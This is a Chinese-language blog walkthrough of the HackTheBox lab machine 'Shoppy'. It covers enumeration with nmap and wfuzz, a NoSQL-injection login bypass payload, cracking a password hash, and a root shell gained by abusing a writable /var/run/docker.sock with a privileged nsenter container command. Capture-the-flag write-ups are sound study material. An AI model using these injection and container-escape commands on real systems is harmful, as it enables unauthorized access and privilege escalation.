HTB-Shoppy

OverView

主要考点:

  • nosql 注入
  • /var/run/docker.sock 写文件提权

Enumeration

Nmap Scan

首先还是先 nmap 扫描

nmap -sV -sC 10.10.11.180
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-03 16:37 CST
Nmap scan report for 10.10.11.180
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open  http    nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.77 seconds

SubDomain Scan

sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://shoppy.htb" -H "host:FUZZ.shoppy.htb" --hl 7

没有结果 (结果后面看了题解发现是字典不给力)

Directory Scan

只能走目录扫描了

image-20230103171403780

Nosql Inject

怎么在 Login 页面,说实话我不是很懂为什么非得这样才能登录,尤其是两个等于号,看了题解,题解也没说清楚

admin'||'1'=='1

直接登入

在里面可以搜索用户,继续尝试万能密码

image-20230103175007044

点开附件

image-20230103174927358

用 hashcat 很快爆破出一个

image-20230103174910707

也就是说 josh 的密码是 remembermethisway

但是没有用啊,这个密码又不能 ssh,看了看题解,我的天,是我的子域名没扫描出来,看来以后扫描都得用大字典才行,重新再来,这次用 11 w 行的大字典,我就不信了

sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u "http://shoppy.htb" -H "host:FUZZ.shoppy.htb" --hl 7

等了好久,还真的没有只能直接用题解的

mattermost.shoppy.htb

查看页面源码,我们可以发现一个 main.xxxx.js,访问一下发现 js.map 文件

image-20230103211039128

用 curl -o 将 js.map 文件下载下来,然后用

$ npm install --global reverse-sourcemap
$ reverse-sourcemap -v 1.js.map -o output

在 output 里面就有源码了,但是对我来说并没有什么用,我不会 js 代码审计,内容太多了。

直接走 dirsearch 目录扫描也没扫出来什么,无奈之下看了题解,我真的服了, /login 路由都没扫出来,什么 dirsearch,那么菜

image-20230103214551312

好,尝试直接爆破出来的账号密码登录,登录成功。

FootHold

进入以后很快发现敏感信息

image-20230103214907635

username:jaeger、password:Sh0ppyBest@pp!

尝试 ssh

ssh [email protected]

登录成功,直接获得第一个 flag

image-20230103215244765

user.txt

sudo -l 输入 ssh 的密码,居然成功了

image-20230103215429997

意思是我们可以以 deploy 的身份运行 password-manager 这个文件

我们直接来到 /home/deploy/ 目录下,password-manager 是可执行文件,其他文件我们读取不了

image-20230103215804866

执行 strings password-manager 可以发现调用了当前目录下的 password-manager.cpp 文件

image-20230103215906220

这里卡了好久,看了题解发现有点 CTF 的味道,需要对文件进行逆向,可以直接使用 IDA 按 F5 获得密码 Sample。掠过了

执行输入 Sample

sudo -u deploy ./password-manager

image-20230103233513333

su deploy 输入密码 Deploying@pp! 就切换到了 deploy 用户

image-20230104001006248

root.txt

然后调用 linpeas.sh 发现存在问题,黄红部分

image-20230104000419170

点开后面的提示链接,发现如果用户拥有对 /var/run/docker.sock 文件的写权限的话,那么可以提权

image-20230104000533627

但是上面两个 payload 均无法成功,原因应该是不出网抓取不到镜像

image-20230104000644889

最后在 https://github.com/carlospolop/hacktricks/blob/master/linux-unix/privilege-escalation/docker-breakout.md 看到可以抓取本地镜像。

docker images

然后执行:

docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh

image-20230104000758642

成功提权

End

这个机子总的来说还是比较绕的。尤其是网络不佳的情况下可以耗很久。获得第一个 flag 还算比较容易的,提权真的有点无语。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇